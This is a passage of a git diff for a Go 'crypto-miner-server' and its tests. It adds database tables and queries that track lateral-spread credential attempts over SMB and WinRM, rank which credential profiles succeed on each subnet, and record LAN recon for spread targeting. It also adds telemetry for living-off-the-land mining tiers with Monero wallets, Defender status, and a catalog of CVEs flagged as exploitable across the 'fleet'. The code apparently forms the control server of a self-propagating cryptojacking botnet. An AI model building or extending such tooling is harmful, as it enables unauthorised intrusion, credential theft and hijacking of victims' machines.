strings.HasSuffix(subnet, "%") { + return subnet + } + parts := strings.Split(subnet, ".") + if len(parts) >= 3 { + return fmt.Sprintf("%s.%s.%s.%%", parts[0], parts[1], parts[2]) + } + return subnet + "%" +} + +func (d *Database) agentListWhere(f AgentListFilter) (clause string, args []interface{}) { + var where []string + if f.Status != "" { + where = append(where, "status = ?") + args = append(args, f.Status) + } + if prefix := subnetToIPPrefix(f.Subnet); prefix != "" { + where = append(where, "ip LIKE ?") + args = append(args, prefix) + } + if len(where) == 0 { + return "", nil + } + return " WHERE " + strings.Join(where, " AND "), args +} + +// ListAgentsFiltered returns agents matching optional status/subnet filters. +// When Limit > 0, results are paginated with Offset. +func (d *Database) ListAgentsFiltered(f AgentListFilter) ([]*models.Agent, error) { + where, args := d.agentListWhere(f) + query := `SELECT ` + agentSelectCols + ` FROM agents` + where + ` ORDER BY last_seen DESC` + if f.Limit > 0 { + query += ` LIMIT ? OFFSET ?` + args = append(args, f.Limit, f.Offset) + } + rows, err := d.Query(query, args...) + if err != nil { + return nil, err + } + defer rows.Close() + + var agents []*models.Agent + for rows.Next() { + a, err := d.scanAgent(rows) + if err != nil { + return nil, err + } + agents = append(agents, a) + } + return agents, rows.Err() +} + +// CountAgentsFiltered returns the number of agents matching filter criteria (ignores Limit/Offset). +func (d *Database) CountAgentsFiltered(f AgentListFilter) (int, error) { + where, args := d.agentListWhere(f) + var n int + err := d.QueryRow(`SELECT COUNT(*) FROM agents`+where, args...).Scan(&n) + return n, err +} diff --git a/server/internal/db/agents_list_test.go b/server/internal/db/agents_list_test.go new file mode 100644 index 0000000..d8735cc --- /dev/null +++ b/server/internal/db/agents_list_test.go @@ -0,0 +1,142 @@ +package db + +import ( + "fmt" + "testing" + "time" + + "crypto-miner-server/internal/models" +) + +func TestListAgentsFilteredLargeFleet(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + const total = 200 + for i := 0; i < total; i++ { + subnet := i % 3 + agent := &models.Agent{ + ID: fmt.Sprintf("agent-%04d", i), + Name: fmt.Sprintf("node-%d", i), + IP: fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1), + Status: "online", + LastSeen: time.Now().Add(-time.Duration(i) * time.Second), + } + if err := d.UpsertAgent(agent); err != nil { + t.Fatalf("upsert %d: %v", i, err) + } + } + + all, err := d.ListAgents() + if err != nil { + t.Fatal(err) + } + if len(all) != total { + t.Fatalf("ListAgents: want %d got %d", total, len(all)) + } + + page, err := d.ListAgentsFiltered(AgentListFilter{Limit: 50, Offset: 0}) + if err != nil { + t.Fatal(err) + } + if len(page) != 50 { + t.Fatalf("page 0: want 50 got %d", len(page)) + } + + subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: "10.0.1.x"}) + if err != nil { + t.Fatal(err) + } + wantSubnet := total / 3 + if len(subnetAgents) < wantSubnet-1 || len(subnetAgents) > wantSubnet+1 { + t.Fatalf("subnet filter: want ~%d got %d", wantSubnet, len(subnetAgents)) + } + + count, err := d.CountAgentsFiltered(AgentListFilter{Status: "online"}) + if err != nil { + t.Fatal(err) + } + if count != total { + t.Fatalf("count online: want %d got %d", total, count) + } +} + +func TestListAgentsFilteredAt500(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + const total = 500 + const subnets = 25 + for i := 0; i < total; i++ { + subnet := i % subnets + agent := &models.Agent{ + ID: fmt.Sprintf("agent-%04d", i), + Name: fmt.Sprintf("node-%d", i), + IP: fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1), + Status: "online", + LastSeen: time.Now().Add(-time.Duration(i) * time.Second), + } + if err := d.UpsertAgent(agent); err != nil { + t.Fatalf("upsert %d: %v", i, err) + } + } + + const pageLimit = 80 + var seen int + for offset := 0; offset < total; offset += pageLimit { + page, err := d.ListAgentsFiltered(AgentListFilter{Limit: pageLimit, Offset: offset}) + if err != nil { + t.Fatal(err) + } + want := pageLimit + if remain := total - offset; remain < pageLimit { + want = remain + } + if len(page) != want { + t.Fatalf("offset %d: want %d got %d", offset, want, len(page)) + } + seen += len(page) + } + if seen != total { + t.Fatalf("paginated scan: want %d rows got %d", total, seen) + } + + const targetSubnet = "10.0.1.x" + subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: targetSubnet, Limit: pageLimit}) + if err != nil { + t.Fatal(err) + } + wantSubnet := total / subnets + if len(subnetAgents) != wantSubnet { + t.Fatalf("subnet filter: want %d got %d", wantSubnet, len(subnetAgents)) + } + + start := time.Now() + count, err := d.CountAgentsFiltered(AgentListFilter{Subnet: targetSubnet}) + elapsed := time.Since(start) + if err != nil { + t.Fatal(err) + } + if count != wantSubnet { + t.Fatalf("subnet count: want %d got %d", wantSubnet, count) + } + if elapsed > 2*time.Second { + t.Fatalf("CountAgentsFiltered at %d agents too slow: %v", total, elapsed) + } + t.Logf("CountAgentsFiltered subnet=%s: %d in %v", targetSubnet, count, elapsed) +} + +func TestSubnetToIPPrefix(t *testing.T) { + if got := subnetToIPPrefix("192.168.1.x"); got != "192.168.1.%" { + t.Fatalf("got %q", got) + } + if got := subnetToIPPrefix(""); got != "" { + t.Fatalf("empty: got %q", got) + } +} diff --git a/server/internal/db/cred_edges.go b/server/internal/db/cred_edges.go new file mode 100644 index 0000000..5378d10 --- /dev/null +++ b/server/internal/db/cred_edges.go @@ -0,0 +1,113 @@ +package db + +import ( + "fmt" + "strings" + "time" +) + +// CredEdge records a lateral spread credential attempt (profile hash ref only — no secrets). +type CredEdge struct { + ID int64 `json:"id"` + Host string `json:"host"` + Subnet string `json:"subnet"` + CredentialProfileID string `json:"credential_profile_id"` + Success bool `json:"success"` + Method string `json:"method"` + AgentID string `json:"agent_id"` + CreatedAt time.Time `json:"created_at"` +} + +// CredGraphSubnetRow aggregates cred_edges per /24 for the Emberwake graph UI. +type CredGraphSubnetRow struct { + Subnet string `json:"subnet"` + EdgeCount int `json:"edges"` + SuccessCount int `json:"success_count"` + FailCount int `json:"fail_count"` +} + +// CredProfileAffinity ranks credential profiles that succeeded on a subnet. +type CredProfileAffinity struct { + CredentialProfileID string `json:"credential_profile_id"` + SuccessCount int `json:"success_count"` + LastSuccessAt string `json:"last_success_at,omitempty"` +} + +func (d *Database) InsertCredEdge(host, subnet, profileID, method, agentID string, success bool) error { + host = strings.TrimSpace(host) + subnet = strings.TrimSpace(subnet) + profileID = strings.TrimSpace(profileID) + if host == "" || subnet == "" || profileID == "" { + return fmt.Errorf("cred edge requires host, subnet, and credential_profile_id") + } + _, err := d.Exec( + `INSERT INTO cred_edges (host, subnet, credential_profile_id, success, method, agent_id, created_at) + VALUES (?, ?, ?, ?, ?, ?, ?)`, + host, subnet, profileID, boolToInt(success), strings.TrimSpace(method), strings.TrimSpace(agentID), time.Now().UTC(), + ) + return err +} + +func (d *Database) ListCredProfileAffinity(subnet string) ([]CredProfileAffinity, error) { + subnet = strings.TrimSpace(subnet) + if subnet == "" { + return nil, nil + } + rows, err := d.Query(` + SELECT credential_profile_id, + COUNT(*) AS wins, + MAX(created_at) AS last_ok + FROM cred_edges + WHERE subnet = ? AND success = 1 + GROUP BY credential_profile_id + ORDER BY last_ok DESC, wins DESC`, + subnet, + ) + if err != nil { + return nil, err + } + defer rows.Close() + + var out []CredProfileAffinity + for rows.Next() { + var row CredProfileAffinity + var lastOK string + if err := rows.Scan(&row.CredentialProfileID, &row.SuccessCount, &lastOK); err != nil { + return nil, err + } + if strings.TrimSpace(lastOK) != "" { + if parsed, parseErr := time.Parse(time.RFC3339, lastOK); parseErr == nil { + row.LastSuccessAt = parsed.UTC().Format(time.RFC3339) + } else { + row.LastSuccessAt = lastOK + } + } + out = append(out, row) + } + return out, rows.Err() +} + +func (d *Database) ListCredGraphBySubnet() ([]CredGraphSubnetRow, error) { + rows, err := d.Query(` + SELECT subnet, + COUNT(*) AS edge_count, + SUM(CASE WHEN success = 1 THEN 1 ELSE 0 END) AS ok_cnt, + SUM(CASE WHEN success = 0 THEN 1 ELSE 0 END) AS fail_cnt + FROM cred_edges + GROUP BY subnet + ORDER BY edge_count DESC, subnet ASC`) + if err != nil { + return nil, err + } + defer rows.Close() + + var out []CredGraphSubnetRow + for rows.Next() { + var row CredGraphSubnetRow + if err := rows.Scan(&row.Subnet, &row.EdgeCount, &row.SuccessCount, &row.FailCount); err != nil { + return nil, err + } + out = append(out, row) + } + return out, rows.Err() +} diff --git a/server/internal/db/cred_edges_test.go b/server/internal/db/cred_edges_test.go new file mode 100644 index 0000000..91ed328 --- /dev/null +++ b/server/internal/db/cred_edges_test.go @@ -0,0 +1,64 @@ +package db + +import ( + "path/filepath" + "testing" +) + +func TestInsertCredEdgeAndGraph(t *testing.T) { + dir := t.TempDir() + d, err := New(dir) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + if err := d.InsertCredEdge("10.0.0.12", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err != nil { + t.Fatal(err) + } + if err := d.InsertCredEdge("10.0.0.13", "10.0.0", "profile-a", "smb_scm", "agent-1", false); err != nil { + t.Fatal(err) + } + if err := d.InsertCredEdge("192.168.1.5", "192.168.1", "profile-b", "winrm_encoded", "agent-2", true); err != nil { + t.Fatal(err) + } + + affinity, err := d.ListCredProfileAffinity("10.0.0") + if err != nil { + t.Fatal(err) + } + if len(affinity) != 1 || affinity[0].CredentialProfileID != "profile-a" || affinity[0].SuccessCount != 1 { + t.Fatalf("unexpected affinity: %#v", affinity) + } + + graph, err := d.ListCredGraphBySubnet() + if err != nil { + t.Fatal(err) + } + if len(graph) != 2 { + t.Fatalf("expected 2 subnet rows, got %#v", graph) + } + found := map[string]CredGraphSubnetRow{} + for _, row := range graph { + found[row.Subnet] = row + } + if found["10.0.0"].EdgeCount != 2 || found["10.0.0"].SuccessCount != 1 || found["10.0.0"].FailCount != 1 { + t.Fatalf("unexpected 10.0.0 aggregate: %#v", found["10.0.0"]) + } + + // WAL file should live under temp dir (migration sanity). + if _, err := filepath.Glob(filepath.Join(dir, "miner.db*")); err != nil { + t.Fatal(err) + } +} + +func TestInsertCredEdgeRequiresFields(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + if err := d.InsertCredEdge("", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err == nil { + t.Fatal("expected validation error") + } +} diff --git a/server/internal/db/fleet_tasks_scale_test.go b/server/internal/db/fleet_tasks_scale_test.go new file mode 100644 index 0000000..f3a8323 --- /dev/null +++ b/server/internal/db/fleet_tasks_scale_test.go @@ -0,0 +1,49 @@ +package db + +import ( + "fmt" + "testing" + "time" +) + +func TestBulkLastFleetTaskRunsAtScale(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + const agents = 120 + const tasks = 25 + agentIDs := make([]string, agents) + taskIDs := make([]string, tasks) + for i := 0; i < agents; i++ { + agentIDs[i] = fmt.Sprintf("agent-%03d", i) + } + for j := 0; j < tasks; j++ { + taskIDs[j] = fmt.Sprintf("task-%02d", j) + } + + // Seed a subset of runs (not full N×M matrix). + for i := 0; i < agents; i += 3 { + for j := 0; j < tasks; j += 2 { + if err := d.RecordFleetTaskRun(agentIDs[i], taskIDs[j]); err != nil { + t.Fatal(err) + } + } + } + + start := time.Now() + got, err := d.BulkLastFleetTaskRuns(agentIDs, taskIDs) + elapsed := time.Since(start) + if err != nil { + t.Fatal(err) + } + if len(got) == 0 { + t.Fatal("expected some last-run rows") + } + if elapsed > 2*time.Second { + t.Fatalf("bulk query too slow at %d×%d: %v", agents, tasks, elapsed) + } + t.Logf("BulkLastFleetTaskRuns %d agents × %d tasks: %d rows in %v", agents, tasks, len(got), elapsed) +} diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 339f488..d3d7c38 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -182,6 +182,19 @@ func (d *Database) migrate() error { `CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`, `CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`, `CREATE INDEX IF NOT EXISTS idx_campaign_hits_event ON campaign_hits(event_type)`, + `CREATE TABLE IF NOT EXISTS cred_edges ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + host TEXT NOT NULL, + subnet TEXT NOT NULL, + credential_profile_id TEXT NOT NULL, + success INTEGER NOT NULL DEFAULT 0, + method TEXT NOT NULL DEFAULT '', + agent_id TEXT NOT NULL DEFAULT '', + created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`, + `CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`, + `CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`, + `CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`, } for _, m := range extraMigrations { if _, err := d.Exec(m); err != nil { @@ -190,6 +203,17 @@ func (d *Database) migrate() error { } _, _ = d.Exec(`ALTER TABLE campaign_hits ADD COLUMN event_type TEXT NOT NULL DEFAULT ''`) + scaleIndexes := []string{ + `CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`, + `CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`, + `CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`, + } + for _, m := range scaleIndexes { + if _, err := d.Exec(m); err != nil { + return fmt.Errorf("migration failed: %w\nSQL: %s", err, m) + } + } + return nil } diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index f274c18..99fc5d2 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -1,6 +1,9 @@ package models -import "time" +import ( + "encoding/json" + "time" +) type Agent struct { ID string `json:"id"` @@ -63,6 +66,29 @@ type Agent struct { GPUTempC *int `json:"gpu_temp_c,omitempty"` GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` + // Mining fallback cascade + ActiveMethod string `json:"active_method,omitempty"` + MiningLastError string `json:"last_error,omitempty"` + StratumOverlay bool `json:"stratum_overlay,omitempty"` + ChainExhausted bool `json:"chain_exhausted,omitempty"` + ChainOrder []string `json:"chain_order,omitempty"` + FailedMethods []struct { + Method string `json:"method"` + Reason string `json:"reason"` + At string `json:"at"` + } `json:"failed_methods,omitempty"` + + // LOTL tier onion telemetry + LOTLTier string `json:"lotl_tier,omitempty"` + LOTLAttempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + } `json:"lotl_attempts,omitempty"` + MiningHashrate float64 `json:"mining_hashrate,omitempty"` + // GPU / Ravencoin mining GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"` @@ -73,6 +99,9 @@ type Agent struct { // Crucible — SSH status probed by the agent every ~60s SSHAvailable *bool `json:"ssh_available,omitempty"` + // Passive LAN/domain recon for spread targeting (stats WS, not persisted). + NetworkHints json.RawMessage `json:"network_hints,omitempty"` + // Defense posture + patch exposure — ATT&CK T1685/T1686.003 PostureScore int `json:"posture_score,omitempty"` DefenderEnabled *bool `json:"defender_enabled,omitempty"` @@ -89,6 +118,23 @@ type Agent struct { // T1007 System Service Discovery — fixed allowlist only Services []AgentService `json:"services,omitempty"` + + // Last successful discover_and_join supply-chain lane. + JoinLane string `json:"join_lane,omitempty"` + + // Authorized fleet vulnerability recon (read-only LOTL probe tier) + VulnFindings []VulnFinding `json:"vuln_findings,omitempty"` + VulnRiskScore *int `json:"vuln_risk_score,omitempty"` +} + +// VulnFinding mirrors agent vuln_findings stats payload. +type VulnFinding struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` } // AgentService mirrors the ServiceStatus reported by the agent. diff --git a/server/internal/models/agent_test.go b/server/internal/models/agent_test.go index 3ca5c70..2adc37b 100644 --- a/server/internal/models/agent_test.go +++ b/server/internal/models/agent_test.go @@ -159,6 +159,38 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) { }) } +func TestAgentLotlFieldsJSONRoundTrip(t *testing.T) { + agent := Agent{ + ID: "lotl-1", Name: "tier-node", Status: "online", + LOTLTier: "cpu_inprocess", + MiningHashrate: 850.5, + LOTLAttempts: []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }{ + {Tier: "container", OK: false, Error: "docker missing", DurationMs: 400, Wallet: "xmr-wallet"}, + {Tier: "cpu_inprocess", OK: true, DurationMs: 1200, Wallet: "xmr-wallet"}, + }, + } + b, err := json.Marshal(agent) + if err != nil { + t.Fatal(err) + } + var out Agent + if err := json.Unmarshal(b, &out); err != nil { + t.Fatal(err) + } + if out.LOTLTier != "cpu_inprocess" || out.MiningHashrate != 850.5 { + t.Fatalf("lotl fields lost: %+v", out) + } + if len(out.LOTLAttempts) != 2 || !out.LOTLAttempts[1].OK { + t.Fatalf("attempts=%+v", out.LOTLAttempts) + } +} + func TestAgentMinimalJSON(t *testing.T) { var out Agent if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil { diff --git a/server/internal/vuln/correlator.go b/server/internal/vuln/correlator.go new file mode 100644 index 0000000..7536a1c --- /dev/null +++ b/server/internal/vuln/correlator.go @@ -0,0 +1,133 @@ +package vuln + +import ( + "strings" +) + +// Finding mirrors agent vuln_findings JSON for server-side enrichment. +type Finding struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` +} + +// CatalogEntry is a lightweight embedded CVE rule for fleet correlator. +type CatalogEntry struct { + ID string `json:"id"` + Name string `json:"name"` + Component string `json:"component"` + Severity string `json:"severity"` + FleetPorts []int `json:"fleet_ports,omitempty"` + PatchKBs []string `json:"patch_kbs,omitempty"` +} + +// EmbeddedCatalog is served by GET /api/v1/vuln/catalog (cached JSON). +var EmbeddedCatalog = []CatalogEntry{ + {ID: "CVE-2021-44228", Name: "Log4Shell", Component: "Apache Log4j", Severity: "critical"}, + {ID: "CVE-2021-26855", Name: "ProxyLogon", Component: "Microsoft Exchange", Severity: "critical", FleetPorts: []int{443, 80}, PatchKBs: []string{"KB5000871"}}, + {ID: "CVE-2020-1472", Name: "Zerologon", Component: "Microsoft Netlogon", Severity: "critical", FleetPorts: []int{445, 135}, PatchKBs: []string{"KB4577015"}}, + {ID: "CVE-2019-19781", Name: "Citrix ADC", Component: "Citrix ADC/Gateway", Severity: "critical", FleetPorts: []int{443}}, + {ID: "CVE-2019-11510", Name: "Pulse Secure", Component: "Ivanti Pulse Connect Secure", Severity: "critical", FleetPorts: []int{443}}, + {ID: "CVE-2020-5902", Name: "F5 BIG-IP", Component: "F5 BIG-IP", Severity: "critical", FleetPorts: []int{443, 8443}}, + {ID: "CVE-2022-1388", Name: "F5 iControl", Component: "F5 BIG-IP", Severity: "critical", FleetPorts: []int{443, 8443}}, + {ID: "CVE-2021-26084", Name: "Confluence OGNL", Component: "Atlassian Confluence", Severity: "critical", FleetPorts: []int{8090, 8443}}, + {ID: "CVE-2022-26134", Name: "Confluence RCE", Component: "Atlassian Confluence", Severity: "critical", FleetPorts: []int{8090, 8443}}, + {ID: "CVE-2021-40539", Name: "ManageEngine", Component: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", FleetPorts: []int{9251}}, + {ID: "CVE-2018-13379", Name: "FortiOS path traversal", Component: "Fortinet FortiGate/FortiOS", Severity: "critical", FleetPorts: []int{443, 10443}}, + {ID: "CVE-2021-34527", Name: "PrintNightmare", Component: "Windows Print Spooler", Severity: "high", FleetPorts: []int{445, 135}, PatchKBs: []string{"KB5004945"}}, + {ID: "CVE-2020-0688", Name: "Exchange RCE", Component: "Microsoft Exchange", Severity: "high", FleetPorts: []int{443}}, + {ID: "CVE-2021-21972", Name: "vCenter RCE", Component: "VMware vCenter", Severity: "critical", FleetPorts: []int{443}}, +} + +// FleetContext carries server-known signals for correlator enrichment. +type FleetContext struct { + ListenPortCount int + PathTracerPorts []int + SSHAvailable bool + OSVersion string +} + +// EnrichFindings applies fleet-context rules (open ports from Path Tracer when available). +func EnrichFindings(findings []Finding, ctx FleetContext) []Finding { + if len(findings) == 0 { + return findings + } + portSet := make(map[int]bool) + for _, p := range ctx.PathTracerPorts { + portSet[p] = true + } + rules := catalogByID() + out := make([]Finding, len(findings)) + copy(out, findings) + for i := range out { + if out[i].Patched || out[i].ExploitableInFleetContext { + continue + } + rule, ok := rules[out[i].CVEID] + if !ok { + continue + } + for _, p := range rule.FleetPorts { + if portSet[p] { + out[i].ExploitableInFleetContext = true + out[i].Detail = strings.TrimSpace(out[i].Detail + " · Path Tracer hop port " + itoa(p) + " open") + break + } + } + if !out[i].ExploitableInFleetContext && ctx.SSHAvailable && ctx.ListenPortCount > 0 { + for _, p := range rule.FleetPorts { + if p == 22 || p == 445 || p == 443 { + out[i].ExploitableInFleetContext = true + out[i].Detail = strings.TrimSpace(out[i].Detail + " · fleet SSH/listener context") + break + } + } + } + } + return out +} + +func catalogByID() map[string]CatalogEntry { + m := make(map[string]CatalogEntry, len(EmbeddedCatalog)) + for _, e := range EmbeddedCatalog { + m[e.ID] = e + } + return m +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + var b [12]byte + i := len(b) + for n > 0 { + i-- + b[i] = byte('0' + n%10) + n /= 10 + } + return string(b[i:]) +} + +// RiskScore computes a 0-100 score from enriched findings. +func RiskScore(findings []Finding) int { + score := 0 + for _, f := range findings { + if f.ExploitableInFleetContext { + if f.Severity == "critical" { + score += 25 + } else { + score += 12 + } + } else if !f.Patched { + score += 8 + } + } + if score > 100 { + return 100 + } + return score +} diff --git a/server/internal/vuln/correlator_test.go b/server/internal/vuln/correlator_test.go new file mode 100644 index 0000000..c7e9826 --- /dev/null +++ b/server/internal/vuln/correlator_test.go @@ -0,0 +1,30 @@ +package vuln + +import "testing" + +func TestEnrichFindingsPathTracerPort(t *testing.T) { + in := []Finding{{ + CVEID: "CVE-2021-26855", Severity: "critical", Component: "Exchange", + Patched: false, ExploitableInFleetContext: false, + }} + out := EnrichFindings(in, FleetContext{PathTracerPorts: []int{443}}) + if len(out) != 1 || !out[0].ExploitableInFleetContext { + t.Fatalf("expected fleet exploitability with 443 from pathtracer, got %+v", out) + } +} + +func TestRiskScore(t *testing.T) { + s := RiskScore([]Finding{ + {Severity: "critical", ExploitableInFleetContext: true}, + {Severity: "high", Patched: false}, + }) + if s < 25 { + t.Fatalf("expected elevated score, got %d", s) + } +} + +func TestEmbeddedCatalogNotEmpty(t *testing.T) { + if len(EmbeddedCatalog) < 10 { + t.Fatalf("expected catalog entries") + } +} diff --git a/server/main.go b/server/main.go index a02e02a..df45c08 100644 --- a/server/main.go +++ b/server/main.go @@ -109,6 +109,7 @@ func main() { filepath.Join(cfg.DataDir, "builds"), filepath.Join(cfg.DataDir, "preps"), filepath.Join(cfg.DataDir, "logs"), + filepath.Join(cfg.DataDir, deploymentCredsDir), } for _, dir := range dirs { if err := os.MkdirAll(dir, 0755); err != nil { @@ -199,10 +200,13 @@ func main() { applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler) applyControlServerFirewall(cfg) + spreadCredAdapter := newConfigSpreadCredAdapter(cfg) + configProvider := &serverConfigProvider{ config: cfg, onSaved: func(c *Config) { applyRuntimeConfig(c, wsHub, poolManager, builderHandler) + spreadCredAdapter.setConfig(c) }, } configHandler := api.NewConfigHandler(configProvider) @@ -276,6 +280,13 @@ func main() { } publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg) spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub) + spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter) + deployPlanHandler := api.NewDeployPlanHandler( + database, cfg.DataDir, projectRoot, + func() string { return configProvider.PublicURL() }, + func() string { return cfg.Server.FleetSecret }, + func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) }, + ) // Path Forge: server-side recursive file seeding pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir) @@ -288,7 +299,7 @@ func main() { log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }, cfg.Port, func() bool { return cfg.ConnectorToken() != "" @@ -352,6 +363,16 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager StrictWalletValidation: cfg.Server.StrictWalletValidation, MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB, PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds, + LotlOnionTiers: cfg.Server.LotlOnionTiers, + ServiceDeployAllowlist: apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist), + TripleOnionPolicy: api.TripleOnionPolicy{ + PatchFirst: cfg.Server.TripleOnionPolicy.PatchFirst, + MineIsolatedTier: cfg.Server.TripleOnionPolicy.MineIsolatedTier, + SkipMiningOnHighRisk: cfg.Server.TripleOnionPolicy.SkipMiningOnHighRisk, + HighRiskThreshold: cfg.Server.TripleOnionPolicy.HighRiskThreshold, + ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers, + DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes, + }, }) } if poolManager != nil { @@ -599,3 +620,18 @@ func findWebRoot() string { return "" } + +func apiServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]api.ServiceDeployLane { + if len(raw) == 0 { + return api.NormalizeServiceDeployAllowlist(nil) + } + out := make(map[string]api.ServiceDeployLane, len(raw)) + for name, lane := range raw { + out[name] = api.ServiceDeployLane{ + Lane: lane.Lane, + Priority: lane.Priority, + Template: lane.Template, + } + } + return api.NormalizeServiceDeployAllowlist(out) +} diff --git a/server/web/e2e/crucible-bulk.spec.ts b/server/web/e2e/crucible-bulk.spec.ts new file mode 100644 index 0000000..e8a89be --- /dev/null +++ b/server/web/e2e/crucible-bulk.spec.ts @@ -0,0 +1,71 @@ +import { expect, test } from '@playwright/test'; +import { fetchFleetSecret, loginToDashboard } from './fixtures'; +import { + connectStubAgent, + E2E_STUB_AGENT_HOSTNAME, + E2E_STUB_AGENT_ID, +} from './stub-agent'; + +const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989'; + +let serverReady = false; +let disconnectStub: (() => void) | null = null; + +test.describe('Crucible bulk command', () => { + test.beforeAll(async ({ request }) => { + try { + const res = await request.get('/api/v1/health', { timeout: 5_000 }); + serverReady = res.ok(); + } catch { + serverReady = false; + } + if (!serverReady) return; + + const fleetSecret = await fetchFleetSecret(request); + disconnectStub = await connectStubAgent(baseURL, fleetSecret); + // Allow agent_online + DB upsert to settle before UI tests. + await new Promise((r) => setTimeout(r, 500)); + }); + + test.afterAll(() => { + disconnectStub?.(); + disconnectStub = null; + }); + + test.beforeEach(async ({ page }) => { + test.skip( + !serverReady, + 'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)', + ); + await loginToDashboard(page); + await page.getByRole('link', { name: /Crucible/i }).click(); + await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 }); + await expect( + page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }), + ).toBeVisible({ timeout: 15_000 }); + }); + + test('bulk pause on selected online node fires POST bulk-command', async ({ page }) => { + const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }); + await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 }); + await card.click(); + await expect(page.getByText(/1 selected/)).toBeVisible(); + await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible(); + + const bulkRequest = page.waitForRequest( + (req) => + req.method() === 'POST' && req.url().includes('/api/v1/agents/bulk-command'), + ); + + await page + .locator('.crucible-actions-card') + .getByRole('button', { name: 'Pause', exact: true }) + .click(); + + const request = await bulkRequest; + expect(request.postDataJSON()).toEqual({ + agent_ids: [E2E_STUB_AGENT_ID], + action: 'pause', + }); + }); +}); diff --git a/server/web/e2e/crucible-command.spec.ts b/server/web/e2e/crucible-command.spec.ts new file mode 100644 index 0000000..9ddd57a --- /dev/null +++ b/server/web/e2e/crucible-command.spec.ts @@ -0,0 +1,70 @@ +import { expect, test } from '@playwright/test'; +import { fetchFleetSecret, loginToDashboard } from './fixtures'; +import { + connectStubAgent, + E2E_STUB_AGENT_HOSTNAME, + E2E_WHOAMI_RESPONSE, +} from './stub-agent'; + +const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989'; + +let serverReady = false; +let disconnectStub: (() => void) | null = null; + +test.describe('Crucible remote command', () => { + test.beforeAll(async ({ request }) => { + try { + const res = await request.get('/api/v1/health'); + serverReady = res.ok(); + } catch { + serverReady = false; + } + if (!serverReady) return; + + const fleetSecret = await 